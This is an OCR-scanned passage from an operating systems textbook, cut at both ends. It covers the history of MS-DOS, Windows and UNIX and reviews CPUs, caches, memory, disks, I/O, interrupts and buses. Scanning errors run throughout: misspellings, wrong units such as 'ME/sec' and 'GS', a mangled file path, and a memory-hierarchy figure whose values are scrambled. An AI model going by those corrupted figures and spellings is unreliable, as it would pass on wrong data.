which they readily accepted. Gates then offered IBM a DOSIBASIC package, 
which IBM accepted. IBM wanted certain modifications, so Gates hired the per
son who wrote DOS, Tim Paterson, as an employee of Gates' fledgling company, 
Microsoft, to make them. The revised system was renamed MS�DOS (MicroSoft 
Disk Operating System) and quickly came to. dominate the IBM PC market. A 
key factor here was Gates' (in retrospect, extremely wise) decision to sell MS

DOS to computer companies for bundling with their hardware, compared to 
KildaU's attempt to sell CP/M to end users one at a time (at least initially). After 
aU this transpired, Kildall died suddenly and unexpectedly from causes that have 
not been fully disclosed. 

By the time the succeSSor to the IBM PC, the IBM PC/AT, came out in 1983 
with the Intel 80286 CPU, MS-DOS was firmly entrenched and CP/M was on its 
last legs. MS-DOS was later widely used on the 80386 and 80486. Although the 
initial version of MS-DOS was fairly primitive, subsequent versions included more 
advanced features, including many taken from UNIX. (Microsoft was well aware 
of UNIX, even selling a microcomputer version of it called XENIX during the 
company's early years.) 

CP/M, MS-DOS, and other operating systems for early microcomputers were 
all based on users typing in commands from the keyboard. That eventually chang
ed due to research done by Doug Engelbart at Stanford Research Institute in the 
1960s. Engelbart invented the GUI Graphical User Interface, complete with 
windows, icons, menus, and mouse. These ideas were adopted by researchers at 
Xerox PARC and incorporated into machines they built. 

One day, Steve Jobs, who co-invented the Apple computer in his garage, 
visited PARC, saw a GUI, and instantly realized its potential value, something 
Xerox management famously did not. This strategic blunder �rgantuan pro
portions led to a book entitled Fumbling the Future (Smith and A'iexander, 1988). 
Jobs then embarked on building an Apple with a GUI. This project led to the 
Lisa, which was too expensive and failed commercially. Jobs' second attempt, the 
Apple Macintosh, was a huge success, not only because it was much cheaper than 
the Lisa, but also because it was user friendly, meaning that it was intended for 
users who not only knew nothing about computers but furthermore had absolutely 
no intention whatsoever of learning. In the creative world of graphic design, pro
fessional digital photography, and professional digital video production, Macin
toshes are very widely used and their users are very enthusiastic about them. 

SEC. 1.2 HISTORY OF OPERATING SYSTEMS 15 

When Microsoft decided to build a succeSSor to MS-DOS, it was strongly 
influenced by the success of the Macintosh. It produced a GUI-based system call
ed Windows, which originally ran on top of MS-DOS (i.e., it was more like a shell 
than a true operating system). For about 1 0  years, from 1985 to 1995, Windows 
was just a graphical environment on top of MS-DOS. However, starting in 1995 a 
freestanding versiof!. of Windows, Windows 95, was released that incorporated 
many operating system features into it, using the underlying MS-DOS system only 
for booting and running old MS-DOS programs. In 1998, a slightly modified ver
sion of this system, calIed Windows 98 was released. Nevertheless, both Windows 
95 and Windows 98 still contained a large amount of 16-bit Intel assembly lan
guage. 

Another Microsoft operating system is Windows NT (NT stands for New 
Technology), which is compati.ble with Windows 95 at a certain level, but a com
plete rewrite from scratch internally. It is a full 32-bit system. The lead designer 
for Windows NT was David Cutler, who was also one of the desio-ners of the 
V AX VMS operating system, so some ideas from VMS are presen7 in NT. In 
fact, so many ideas from VMS were present in it that the owner of VMS, DEC, 
sued Microsoft The case was settled out of court for an amount of money requir
ing many digits to express. Microsoft expected that the first version of NT would 
kill off MS-DOS and all other versions of Windows since it was a vastly superior 
system, but it fizzled. Only with Windows NT 4.0 did it finally catch on in a big 
way, especially on corporate networks. Version 5 of Windows NT was renamed 
Windows 2000 in early 1999. It was intended to be the successor to both Win
dows 98 and Windows NT 4.0. 

That did not quite work out either, so Microsoft came out with yet another 
version of Windows 98 called Windows Me (Millennium edition). In 2001, a 
slightly upgraded version of Windows 2000, called Windows XP was released. 
That version had a much longer run (6 years), basically replacing all previous ver
sions of Windows. Then in January 2007, Microsoft finally released the successor 
to Windows XP, called Vista. It came with a new graphical interface, Aero, and 
many new or upgraded user programs. Microsoft hopes it will replace Windows 
XP completely, but this process could take the better part of a decade. 

The other major contender in the personal computer world is UNIX (and its 
various derivatives). UNIX is strongest on network and enterprise servers, but is 
also increasingly present on desktop computers, especially in rapidly developing 
Countries such as India and China. On Pentium-based computers, Linux is 
becoming a popular alternative to Windows for students and increasingly many 
Corporate users. As an aside, throughout this book we will use the term "Pen
tium" to mean the Pentium I, II, III, and 4 as wel! as its success�rs such as Core 2 
Duo. The term x86 is also sometimes used to indicate the entire range of Intel 
CPUs going back to the 8086, whereas "Pentium" wiI! be used to mean all CPUs 
from the Pentium I onwards. Admittedly, this term is not perfect, but no better one 
is available. One has to wonder which marketing genius at Intel threw out a brand 
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name (Pentium) that half the world knew well and respected and replaced it with 
terms like "Core 2 duo" which very few people understand--quick, what does the 
"2" mean and what does the "duo" mean? Maybe "Pentium 5" (or "Pentium 5 
dual core," etc.) was just too hard to remember. FreeBSD is also a popular 

.
UNIX 

derivative, originating from the BSD project at Berkeley. All modern Macmtosh 
computers run a modified version of FreeBSD. UNIX is also standard on worksta
tions powered by high-performance RISe chips, sllch as those sold by Hewlett
Packard and Sun Microsystems. 

Many UNIX users, especially experienced programmers, prefer a cornmand
based interface to a GUI, so nearly all UNIX systems support a windowing system 
called the X Window System (also known as XU) produced at M.LT. This sys
tem handles the basic window management, allowing users to create, delete, 
move, and resize windows using a mouse. Often a complete QUI, such as Gnome 
or KDE is available to run on top of XII giving UNIX a look and feel something 
like the Macintosh or Microsoft Windows, for those UNIX users who want such a 
thing. 

. 
An interesting development that began taking place during the mid-�980s IS 

the growth of networks of personal computers running network operatmg sys� 
terns and distributed operating systems (Tanenbaum and Van Steen, 2007). In 
a network operating system, the users are aware of the existence of multiple com
puters and can log in to remote machines and copy files from one machine to an
other. Each machine runs its own local operating system and has its own local 
user (or users), 

Network operating systems are not fundamentally different from single-proc
essor operating systems. They obviously need a network interface controller and 
some low-level software to drive it, as well as programs to achieve remote login 
and remote file access, but these additions do not change the essential stmcture of 
the operating system. 

A distributed operating system, in contrast, is one that appears to its I)sers as a 
traditional uniprocessor system, even though it is actually composed of multiple 
processors. The users should not be aware of where their programs are being run 
or where their files are located; that should aU be handled automatically and effi
ciently by the operating system. 

True distributed operating systems require more than just adding a little code 
to a uniprocessor operating system, because distributed and centralized systems 
differ in certain critical ways. Distributed systems, for example, often allow appli
cations to run on several processors at the same time, thus requiring more com
plex processor scheduling algorithms in order to optimize the amount of para1:
lelism. 

Communication delays within the network often mean that these (and other) 
algorithms must run with incomplete, outdated, or even incorrect information. 
This situation is radically different from a single-processor system in which the 
operating system has complete information about the system state. 
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1.3 COMPUTER HARDWARE REVIEW 

An operating system is intimately tied to the hardware of the computer it runs 
on. It extends the computer' s instruction set and manages its resources. To work, 
it must know a great deal about the hardware, at least about how the hardware 
appears to the programmer. For this reason, let us briefly review computer hard
ware as found in modern personal computers. After that, we can start getting into 
the details of what operating systems do and how they work. 

Conceptually, a simple personal computer can be abstracted to a model 
resembling that of Fig. 1-6. The CPU, memory, and I/O devices are all connected 
by a system bus and communicate with one another over it. Modern personal 
computers have a more complicated structure, involving mUltiple buses, which we 
will look at later. For the time being, this model will be sufficient. In the follow
ing sections, we will briefly review these components and examine some of the 
hardware issues that are of concern to operating system designers. Needless to 
say, this will be a very compact summary. Many books have been written on the 
subject of computer hardware and computer organization Two well-known ones 
are by Tanenbaum (2006) and Patterson and Hennessy (2004). 

Monitor 
Keyboard USB printer 

Figure 1-6, Some of the components of a simple personal computer. 

1.3.1 Processors 

• Hard 
disk drive 

Bus 

The "brain" of the computer is the CPU. It fetches instructions from memory 
and executes them. The basic cycle of every CPU is to fetch the first instruction 
from memory, decode it to determine its type and operands, execute it, and then 
fetch, decode, and execute subsequent instructions. The cycle is repeated until the 
program finishes. In this way, programs are carried out 
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Each CPU has a specific set of instructions that it can execute. Thus a Pen� 
tium cannot execute SPARe programs and a SPARe cannot execute Pentium pro
grams. Because accessing memory to get an instruction or data word takes much 
longer than executing an instruction, all CPUs contain some registers inside to 
hold key variables and temporary results. Thus the instruction set generally con
tains instructions to load a word from memory into a register, and store a word 
from a register into memory. Other instructions combine two operands from regis
ters, memory, Or both into a result, such as adding two words and storing the re
suit in a register or in memory, 

In addition to the general registers used to hold variables and temporary re
sults, most computers have several special registers that are visible to the pro
grammer. One of these is the program counter, which contains the memory ad
dress of the next instruction to be fetched. After that instruction has been fetched, 
the program counter is updated to point to its successor. 

Another register is the stack pOinter, which points to the top of the current 
stack in memory. The stack contains one frame for each procedure that has been 
entered but not yet exited. A procedure's stack frame holds those input parame
ters, local variables, and temporary variables that are not kept in registers. 

Yet another register is the PSW (Program Status Word). This register con
tains the condition code bits, which are set by comparison instructions, the CPU 
priority, the mode (user or kernel), and various other control bits. User programs 
may normally read the entire PSW but typically may write only some of its fields. 
The PSW plays an important role in system calls and IIO. 

The operating system must be aware of all the registers. When time multi
plexing the CPU, the operating system will often stop the running program to 
(re)start another one. Every time it Stops a running program, the operating system 
must save all the registers so they can be restored when the program runs later. 

To improve performance, CPU designers have long abandoned the simple 
model of fetching, decoding, and executing one instruction at a time. Many mod
em CPUs have facilities for executing more than one instruction at the same time.· 
For example, a CPU might have separate fetch, decode, and execute units, so that 
while it was executing instruction n, it could also be decoding instruction It + 1 
and fetching instruction n + 2. Such an organization is called a pipeline and is il
lustrated in Fig. 1-7(a) for a pipeline with three stages. Longer pipelines are com
mon. In most pipeline designs, once an instruction has been fetched into the pipe
line, it must be executed, even if the preceding instruction was a conditional 
branch that was taken. Pipelines cause compiler writers and operating system 
writers great headaches because they expose the complexities of the underlying 
machine to them. 

Even more advanced than a pipeline design is a superscalar CPU, shown in 
Fig. 1 -7(b). In this design, multiple execution units are present, for example, one 
for integer arithmetic, one for floating-point arithmetic, and one for Boolean oper� 
ations. Two or more instructions are fetched at once, decoded, and dumped into a 

SEC. 1.3 COMPU1ER HARDWARE REVIEW 19 

(a) 

Figure 1�7. (a) A three-stage pipeline. (b) A superscalar CPU. 

holding buffer until they can be executed. As soon as an execution unit is free it 
looks in the holding buffer to see if there is an instruction it can handle, and if �o, 
it removes the instruction from the buffer and executes it. An implication of this 
design is that program instructions are often executed out of order. For the most 
part, it is up to the hardware to make sure the result produced is the same one a 
sequential implementation would have produced, but an annoying amount of the 
complexity is foisted onto the operating system, as we shall see. 

Most CPUs, except very simple ones used in embedded systems,-have two 
modes, kernel mode and user mode, as mentioned earlier. Usually, a bit in the 
PSW controls the mode. When running in kernel mode, the CPU can execute 
every instruction in its instruction set and use every feature of the hardware. The 
operating system runs in kernel mode, giving it access to the complete hardware. 

In contrast, user programs run in user mode, which pennits only a subset of 
the instructions to be executed and a subset of the features to be accessed. Gener
ally, all instructions involving I/O and memory protection are disallowed in user 
mode. Setting the PSW mode bit to enter kernel mode is also forbidden, of course. 

To obtain services from the operating system, a user program must make a 
system call, which traps into the kernel and invokes the operating system, The 
TRAP instruction switches from user mode to kernel mode and starts the operating 
system. When the work has been completed, control is returned to the user pro
gram at the instruction following the system calL We will explain the details of 
the system call mechanism later in this chapter but for the time being, think of it 
as a special kind of procedure call instruction that has the additional property of 
SWitching from user mode to kernel mode. As a note on typography, we will use 
the lower case Helvetica font to indicate system calls in running text, like this: 
read. 

It is worth noting that computers have traps other than the instruction for exe
cuting a system call. Most of the other traps are caused by the hardware to warn of 
an exceptional situation such as an attempt to divide by 0 or a floating�point 
underflow. In all cases the operating system gets control and must decide what to 
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do. Sometimes the program must be terminated with an error. Other times the 
error can be ignored (an underflowed number can be set to 0). Finally, when the 
program has announced in advance that it wants to handle certain kinds of condi
tions, control can be passed back to the program to let it deal with the problem. 

Multithreaded and Multicore Chips 

Moore's law states that the number of transistors on a chip doubles every 18  
months. This «law" is  not some kind of  law of  physics, like conservation of  mo
mentum, but is an observation by Intel cofounder Gordon Moore of how fast proc
ess engineers at the semiconductor companies are able to shrink their transistors. 
Moore's law has held for three decades now and is expected to hold for at least 
one more. 

The abundance of transistors is leading to a problem: what to do with all of 
them? We saw one approach above: superscalar architectures, with multiple func
tional units. But as the number of transistors increases, even more is possible. 
One obvious thing to do is put bigger caches on the CPU chip and that is defin
itely happening, but eventually the point of diminiShing returns is reached. 

The obvious next step is to replicate not only the functional units, but also 
some of the control logic. The Pentium 4 and some other CPU chips have this 
property, called multithreading or hyperthreading (Intel's name for it). To a 
first approximation, what it does is allow the CPU to hold the state of two dif
ferent threads and then switch back and forth on a nanosecond time scale. (A 
thread is a kind of lightweight process, which, in turn, is a running program; we 
will get into the details in Chap. 2.) For example, if one of the processes needs to 
read a word from memory (which takes many clock cycles), a multithreaded CPU 
can just switch to another thread. Multithreading does not offer true parallelism. 
Only one process at a time is running. but thread switching time is reduced to the 
order of a nanosecond. 

Multithreading has implications for the operating system because each thread 
appears to the operating system as a-separate CPU. Consider a system with two 
actual CPUs, each with two threads. The operating system will see this as four 
CPUs. If there is only enough work to keep two CPUs busy at a certain point in 
time, it may inadvertently schedule two threads on the same CPU. with the other 
CPU completely idle. This choice is far less efficient than using one thread on 
each CPU. The successor to the Pentium 4, the Core (also Core 2) architecture 
does not have hyperthreading, but Intel has announced that the Core's successor 
will have it again. 

Beyond multithreading, we have CPU chips with two or four or more com
plete processors or cores on them. The multicore chips of Fig. 1-8 effectively 
carry four rninichips on them, each with its own independent CPU. (The caches 
will be explained below.) Making use of such a multicore chip will definitely re
quire a multiprocessor operating system. 
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Figure 1·8. (a) A quad-core chip with a shared L2 cache. (b) A quad..core chip 
with separate L2 caches. 

1.3.2 Memory 

21 

The second major component in any computer is the memory. Ideally. a mem
OIy should be extremely fast (faster than executing an instruction so the CPU is 
not held up by the memory), abundantly large, and dirt cheap. No current tech
nology satisfies all of these goals, so a different approach is taken. The memory 
system is constructed as a hierarchy of layers, as shown in Fig. 1-9. The top lay
ers have higher speed, smaller capacity, and greater cost per bit than the lower 
ones, often by factors of a billion or more. 

Typical access time 

1 nsee 
2 nsee 
10 nsec 
10msec 

100 sec 
Magnetic disk 

Magnetic tape 

Typical capacity 

<1 KB 
4 MB 
512-2048 MB 
200·1000 GS 
400-800 GS 

Figure 1·9_ A typical memory hierarchy. The numbers are very rough approximations. 

The top layer consists of the registers internal to the CPU. They are made of 
the same material as the CPU and are thus just as fast as the CPU. Consequently, 
there is no delay in accessing them. The storage capacity available in them is typi
cally 32 x 32-bits on a 32-bit CPU and 64 x 64-bits on a 64-bit CPU. Less than I 
KB in both cases. Programs must manage the registers (i.e., decide what to keep 
in them) themselves, in software. 
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Next comes the cache memory, which is mostly controlled by the hardware. 
Main memory is divided up into cache lines, typically 64 bytes, with addresses 0 
to 63 in cache line 0, addresses 64 to 127 in cache line 1 ,  and so on. The most 
heavily used cache lines are kept in a high-speed cache located inside or very 
close to the CPU. When the program needs to read a memory word, the cache 
hardware checks to see if the line needed is in the cache. If it is, called a cache 
hit, the request is satisfied from the cache and no memory request is sent over the 
bus to the main memory. Cache hits normally take about two clock cycles. Cache 
misses have to go to memory, with a substantial time penalty. Cache memory is 
limited in size due to its high cost. Some machines have two or even three levels 
of cache, each one slower and bigger than the one before it. 

Caching plays a major role in many areas of computer science, not just cach
ing lines of RAM. Whenever there is a large resource that can be divided into 
pieces, some of which are used much more heavily than others, caching is often 
invoked to improve performance. Operating systems use it all the time. For ex
ample, most operating systems keep (pieces of) heavily used files in main memo
ry to avoid having to fetch them from the disk repeatedly. Similarly, the results of 
converting long path names like 

Ihomeiastlprojects/minix3/sTcikemeliclock.c 

into the disk address where the file is located can be cached to avoid repeated 
lookups. Finally, when an address of a Web page (URL) is converted to a network 
address (IP address), the result can be cached for future use. Many other uses 
exist. 

In any caching system, several questions come up fairly soon, including: 

1 .  When to put a new item into the cache. 

2. Which cache line to put the new item in. 

3. Which item to remove from the cache when a slot is needed. 

4. Where to put a newly evicted item in the larger memory. 

Not every question is relevant to every caching situation. For caching lines of 
main memory in the CPU cache, a new item will generally be entered on every 
cache miss. The cache line to use is generally computed by using some of the 
high-order bits of the memory address referenced. For example, with 4096 cache 
lines of 64 bytes and 32 bit addresses, bits 6 through 17 might be used to specify 
the cache line, with bits 0 to 5 the byte within the cache line. In this case, the 
item to remove is the same one as the new data goes into, but in other systems it 
might not be. Finally, when a cache line is rewritten to main memory (if it has 
been modified since it was cached), the place in memory to rewrite it to is 
uniquely detennined by the address in question. 
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Caches are such a good idea that modern CPU's have two of them. The first 
level or Ll cache is always inside the CPU and usually feeds decoded instructions 
into the CPUs execution engine. Most chips have a second LI cache for very 
heavily used data words. The LI caches are typically 16 KB each. In addition, 
there is often a second cache, called the L2 cache, that holds several megabytes 
of recently used memory words. The difference between the L l  and L2 caches 
lies in the timing. Access to the LI cache is done without any delay, whereas ac
cess to the L2 cache involves a delay of one or two clock cycles. 

On multicore chips, the designers have to decide where to place the caches. 
In Fig. 1-8(a), there is a single L2 cache shared by all the cores. This approach is 
used in Intel multicore chips. In contrast, in Fig. I-S(b), each core has its own L2 
cache. This approach is used by AMD. Each strategy has its pros and cons. For 
example, the Intel shared L2 c.ache requires a more complicated cache controller 
but the AMD way makes keeping the L2 caches consistent more difficult. 

Main memory comes next in the hierarchy of Fig. 1-9. This is the workhorse 
of the memory system. Main memory is usually called RAM (Random Access 
lYIemory). Old-timers sometimes call it core memory, because computers in the 
1950s and 1 960s used tiny magnetizable ferrite cores for main memory. Currently, 
memories are hundreds of megabytes to several gigabytes and growing rapidly. 
All CPU requests that cannot be satisfied out of the cache go to main memory. 

In addition to the main memory, many computers have a small amount of 
nonvolatile random access memory. Unlike RAM, nonvolatile memory does not 
lose its contents when the power is switched off. ROM (Read Only Memory) is 
programmed at the factory and cannot be changed afterward. It is fast and inex
pensive. On some computers, the bootstrap loader used to start the computer is 
contained in ROM, Also, some I/O cards come with ROM for handling low-level 
device controL 

EEPROM (Electrically Erasable PROM) and flash memory are also non
volatile, but in contrast to ROM can be erased and rewritten. However, writing 
them takes orders of magnitude more time than writing RAM, so they are used in 
the same way ROM is, only with the additional feature that it is now possible to 
correct bugs in programs they hold by rewriting them in the field. 

Flash memory is also commonly used as the storage medium in portable elec
tronic devices. It serves as film in digital cameras and as the disk in portable mu
sic players, to name just two uses. Flash memory is intermediate in speed between 
RAM and disk. Also, unlike disk memory, if it is erased too many times, it wears 
out. 

Yet another kind of memory is CMOS, which is volatile. Many computers use 
CMOS memory to hold the current time and date. The CMOS memory and the 
clock circuit that increments the time in it are powered by a small battery, so the 
time is correctly updated, even when the computer is unplugged. The CMOS 
memory can also hold the configuration parameters, such as which disk to boot 
from. CMOS is used because it draws so little power that the original factory-
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installed battery often lasts for several years. However, when it begins to fail, the 
computer can appear to have Alzheimer's disease, forgetting things that it has 
known for years, like which hard disk to boot from. 

1.3.3 Disks 

Next in the hierarchy is magnetic disk (hard disk). Disk storage is two orders 
of magnitude cheaper than RAM per bit and often two orders of magnitude larger 
as well. The only problem is that the time to randomly access data on it is close to 
three orders of magnitude slower. This low speed is due to the fact that a disk is a 
mechanical device, as shown in Fig. 1-10. 

Surface 7 

Surface 6 
Surface 5 

Surface 4 
Surface 3 

Surface 2 
Surface 1 

Surface 0 

Read/write head (1 per surface) 

--
Direction of arm motion 

Figure 1�10. Structure of a disk drive. 

A disk consists of one or more metal platters that rotate at 5400, 7200, or 
10,800 rpm A mechanical arm pivots over the platters from the comer, similar to 
the pickup arm on an old 33 rpm phonograph for playing vinyl records. Infor
mation is written onto the disk in a series of concentric circles. At any given arm 
position, each of the heads can read an annular region called a track. Together, 
all the tracks for a given arm position form a cylinder. 

Each track is divided into some number of sectors, typically 512 bytes per 
sector. On modern disks, the outer cylinders contain more sectors than the inner 
ones. Moving the arm from one cylinder to the next one takes about 1 msec. 
Moving it to a random cylinder typically takes 5 msec to 10 msec, depending on 
the drive. Once the ann is on the correct track, the drive must wait for the needed 
sector to rotate under the head, an additional delay of 5 msec to 10 msec, depend
ing on the drive's rpm. Once the sector is under the head, reading or writing oc
curs at a rate of 50 ME/sec on low-end disks to 160 MB/sec on faster ones. 

Many computers support a scheme known as virtual memory, which we will 
discuss at some length in Chap. 3. This scheme makes it possible to run programs 
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larger than physical memory by placing them on the disk and using main memory 
as a kind of cache for the most heavily executed parts. This scheme requires re
mapping memory addresses on the fly to convelt the address the program gen
erated to the physical address in RAM where the word is located. This mapping is 

. done by a part of the CPU called the MMU (Memory Management Unit). as 
shown in Fig. 1-6. 

The presence of caching and the MMU can have a major impact on per
formance. In a mUltiprogramming system, when switching from one program to 
another, sometimes called a context switch, it may be necessary to flush all modi
fied blocks from the cache and change the mapping registers in the MMU. Both 
of these are expensive operations and programmers try hard to avoid them. We 
will see some of the implications of their tactics later. 

1.3.4 Tapes 

The final layer in the memory hierarchy is magnetic tape. This medium is 
often used as a backup for disk storage and for holding very large data sets. To 
access a tape, it must first be put into a tape reader, either by a person or a robot 
(automated tape handling is common at installations with huge databases). Then 
the tape may have to be spooled forward to get to the requested block. All in all, 
this could take minutes. The big plus of tape is that it is exceedingly ch�ap per bit 
and removable, which is important for backup tapes that must be stored off-site in 
order to survive fires, floods, earthquakes, and other disasters. 

The memory hierarchy we have discussed is typical, but some installations do 
not have all the layers or have a few different ones (such as optical disk). Still, in 
all of them, as one goes on down the hierarchy, the random access time increases 
dramatically, the capacity increases equally dramatically, and the cost per bit 
drops enormously. Consequently, it is likely that memory hierarchies will be 
around for years to come. 

1.3.5 IJO Devices 

The CPU and memory are not the only resources that the operating system 
must manage. I/O devices also interact heavily with the operating system. As we 
saw in Fig. 1-6, I/O devices generally consist of two parts: a controller and the de
vice itself. The controller is a chip or a set of chips that physically controls the de
vice. It accepts commands from the operating system, for example, to read data 
from the device, and carries them out. 

In many cases, the actual control of the device is very complicated and de
tailed, so it is the job of the controller to present a simpler interface to the operat
ing system (but still very complex). For example, a disk controller might accept a 
command to read sector 1 1 ,206 from disk 2. The controller then has to convert 
this linear sector number to a cylinder, sector, and head. This conversion may be 
complicated by the fact that outer cylinders have more sectors than inner ones and 
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that some bad sectors have been remapped onto other ones. Then the controller 
has to determine which cylinder the disk arm is on and give it a sequence of 
pulses to move in or out the requisite number of cylinders. It has to wait until the 
proper sector has rotated under the head and then start reading and storing the bits 
as they come off the drive, removing the preamble and computing the checksum. 
Finally, it has to assemble the incoming bits into words and store them in memo
ry. To do all this work, controllers often contain small embedded computers .that 
afe programmed to do their work. 

The other piece is the actual device itself. Devices have fairly simple inter
faces, both because they cannot do much and to make them standard. The latter is 
needed so that any IDE disk controller can handle any IDE disk, for example. 
IDE stands for Integrated Drive Electronics and is the standard type of disk on 
many computers. Since the actual device interface is hidden behind the controller, 
all that the operating system sees is the interface to the controller, which may be 
quite different from the interface to the device. 

Because each type of controller is different, different software is needed to 
control each one. The software that talks to a controller, giving it commands and 
accepting responses, is called a device driver. Each controller manufacturer has 
to supply a driver for each operating system it supports. Thus a scanner may come 
with drivers for Windows 2000, Windows XP, Vista, and Linux, for example. 

To be used, the driver has to be put into the operating system so it can run in 
kernel mode. Drivers can actually run outside the kernel, but only a few current 
systems support this possibility because it requires the ability to allow a user
space driver to be able to access the device in a controlled way, a feature rarely 
supported. There are three ways the driver can be put into the kerneL The first 
way is to relink the kernel with the new driver and then reboot the system. Many 
older UNIX systems work like this. The second way is to make an entry in an op� 
erating system file telling it that it needs the driver and then reboot the system. At 
boot time, the operating system goes and finds the drivers it needs and loads them. 
Windows works this way. The third way is for the operating system to be able to 
accept new drivers while running and install them on the fly without the need to 
reboot. This way used to be rare but is becoming much more common now. Hot 
pluggable devices, such as USB and IEEE 1 394 devices (discussed below) always 
need dynamically loaded drivers. 

Every controller has a small number of registers that are used to communicate 
with it. For example, a minimal disk controller might have registers for specifying 
the disk address, memory address, sector count, and direction (read or write). To 
activate the controller, the driver gets a command from the operating system, then 
translates it into the appropriate values to write into the device registers. The col
lection of all the device registers forms the I/O port space, a subject we will 
come back to in Chap. 5. 

On some computers, the device registers are mapped into the operating sys
tem's address space (the addresses it can use), so they can be read and written like 
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ordinary memory words. On such computers, no special I/O instructions are re
quired and user programs can be kept away from the hardware by not putting 
these memory addresses within their reach (e.g., by using base and limit regis
ters). On other computers, the device registers are put in a special I/O port space, 
with each register having a port address. On these machines, special IN and OUT 
instructions are available in kernel mode to allow drivers to read and write the 
registers. The former scheme eliminates the need for special I/O instructions but 
uses up some of the address space. The latter uses no address space but requires 
special instructions. Both systems are widely used. 

Input and output can be done in three different ways. In the simplest method, 
a user program issues a system call, which the kern�l then translates into a proce
dure call to the appropriate driver. The driver then starts the I/O and sits in a tight 
loop continuously polling the device to see if it is done (usually there is some bit 
that indicates that the device is still busy). When the I/O has completed, the driv
er puts the data (if any) where they are needed and returns. The operating system 
then returns coritrol to the caller. This method is called busy waiting and has the 
disadvantage of tying up the CPU polling the device until i t  is finished. 

The second method is for the driver to start the device and ask it to give an in
terrupt when it is finished. At that point the driver returns. The operating system 
then blocks the caller if need be and looks for other work to do. When the con
troller detects the end of the transfer, it generates an interrupt to signsl comple
tion. 

Interrupts are very important in operating systems, so let us examine the idea 
more closely. In Fig. l - l 1 (a) we see a three-step process for I/O. In step 1, the 
driver tells the controller what to do by writing into its device registers. The con
troller then starts the device. When the controller has finished reading or writing 
the number of bytes it has been told to transfer, it signals the interrupt controller 
chip using certain bus lines in step 2. If the interrupt controller is prepared to ac
cept the interrupt (which it may not be if it is busy with a higher-priority one), it 
asserts a pin on the CPU chip informing it, in step 3. In step 4, the interrupt con
troller puts the number of the device on the bus so the CPU can read it and know 
which device has just finished (many devices may be running at the same time). 

Once the CPU has decided to take the interrupt, the program counter and 
PSW are typically then pushed onto the current stack and the CPU switched into 
kernel mode. The device number may be used as an index into part of memory to 
find the address of the interrupt handler for this device. This part of memory is 
called the interrupt vector. Once the interrupt handler (part of the driver for the 
interrupting device) has started, it removes the stacked program counter and PSW 
and saves them, then queries the device to learn its status. When the handler is all 
finished, it returns to the previously running user program to the first instruction 
that was not yet executed. These steps are shown in Fig. I - 1 1(b). 

The third method for doing I/O makes use of special hardware: a DMA 
(Direct Memory Access) chip that can control the flow of bits between memory 
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Figure 1-11. (a) The steps in starting an IJO device and getting an interrupt. (b) 
Interrupt processing involves taking the interrupt, running the interrupt handler, 
and returning to the user program. 

and some controller without constant CPU intervention. The CPU sets up the 
DMA chip, telling it how many bytes to transfer, the device and memory ad
dresses involved, and the direction, and lets it go. When the DMA chip is done, it 
causes an interrupt, which is handled as described above. DMA and I/O hardware 
in general will be discussed in more detail in Chap. 5. 

Interrupts can often happen at highly inconvenient moments, for example, 
while another interrupt handler is running. For this reason, the CPU has a way to 
disable interrupts and then reenable them later. While interrupts are disabled, any 
devices that finish continue to assert their interrupt signals, but the CPU is not in
terrupted until interrupts are enabled again. If mUltiple devices finish while inter
rupts are disabled, the interrupt controller decides which one to let through first, 
usually based on static priorities assigned to each device. The highest-priority de
vice wins. 

1.3.6 Buses 

The organization of Fig. 1-6 was used on minicomputers for years and also on 
the original IBM Pc. However, as processors and memories got faster, the ability 
of a single bus (and certainly the IBM PC bus) to handle all the traffic was 
strained to the breaking point. Something had to give. As a result, additional 
buses were added, both for faster 1/0 devices and for CPU-to-memory traffic. As 
a consequence of this evolution, a large Pentium system currently looks some
thing like Fig. 1-12. 

This system has eight buses (cache, local, memory, PCl, SCSI, USB, IDE, 
and ISA), each with a different transfer rate and function. The operating system 
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Figure 1-12. The structure of a large Pentium system 

must be aware of all of them for configuration and management. The two main 
buses are the original IBM PC ISA (Industry Standard Architecture) bus and 
its successor, the PCI (Peripheral Component Interconnect) bus. The ISA bus, 
which was originally the IBM PCIAT bus, runs at 8.33 MHz and can transfer 2 
bytes at once, for a maximum speed of 16.67 MB/sec. It is included for backward 
compatibility with old and slow I/O cards. Modem systems frequently leave it out 
and it is dying off. The PCI bus was invented by Intel as a successor to the ISA 
bus. It can run at 66 MHz and transfer 8 bytes at a time, for a data rate of 528 
MB/sec. Most high-speed I/O devices use the PCI bus now. Even some non-Intel 
computers use the PCI bus due to the large number of I/O cards available for it. 
New computers are being brought out with an updated version of the pel bus call
ed PCl Express. 

In this configuration, the CPU talks to the PCI bridge chip over the local bus, 
and the PCl bridge chip talks to the memory over a dedicated memory bus, often 
running at 100 MHz. Pentium systems have a level-l cache on chip and a much 
larger level-2 cache off chip, connected to the CPU by the cache bus. 

In addition, this system contains three specialized buses: IDE, USB, and 
SCSI. The IDE bus is for attaching peripheral devices such as disks and CD
ROMs to the system. The IDE bus is an outgrowth of the disk controller interface 
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on the PC/AT and is noW standard on nearly all Pentium-based systems for the 
hard disk and often the CD-ROM. 

The USB (Universal Serial Bus) was invented to attach all the slow I/O de
vices, such as the keyboard and mouse, to the computer. It uses a �rnall four-,,:,ire 
connector, twO of which supply electrical power to the USB deVIces. USB IS 

,
a 

centralized bus in which a root device polls the lIO devices every 1 msec to see If 
they have any traffic. USB 1.0 could handle an aggregate load of 1.5 ME/sec but 
the newer USB 2.0 bus can handle 60 MB/sec. All the USB devices share a single 
USB device driver, making it unnecessary to install a new driver for eac� new 
USB device. Consequently, USB devices can be added to the computer Without 
the need to reboot. 

The SCSI (Small Computer System Interface) bus is a high-performance 
bus intended for fast disks, scanners, and other devices needing considerable 
bandwidth. It can run at up to 160 ME/sec. It has been present on Macintosh sys
tems since they were invented and is also popular on UNIX and some Intel-based 
systems. . . ' 

Yet another bus (not shown in Fig. 1-12) is IEEE 1394. Sometlmes It IS call-
ed FireWire, although strictly speaking, FireWire is the name Ap�le us� for its 
implementation of 1394. Like USB, IEEE 1394

. 
is �it serial but IS deSl?ned .f�r 

packet transfers at speeds up to 100 MB/sec, makmg It useful for c:mnectmg dIgI
tal camcorders and similar multimedia devices to a computer. UnlIke USB, IEEE 
1394 does not have a central controller. 

To work in an environment such as that of Fig. 1-12, the operating system has 
to know what peripheral devices are connected to the computer and configure 
them. This requirement led Intel and Microsoft to design a PC system calle? plug 
and play, based on a similar concept first implemented in the Apple Macmtosh. 
Before plug and play, each I/O card had a fixed interrupt req�est level and fixed' 
addresses for its 110 registers. For example, the keyboard was mterrupt 1 and used 
I/O addresses Ox60 to Ox64, the floppy disk controller was interrupt 6 and used 
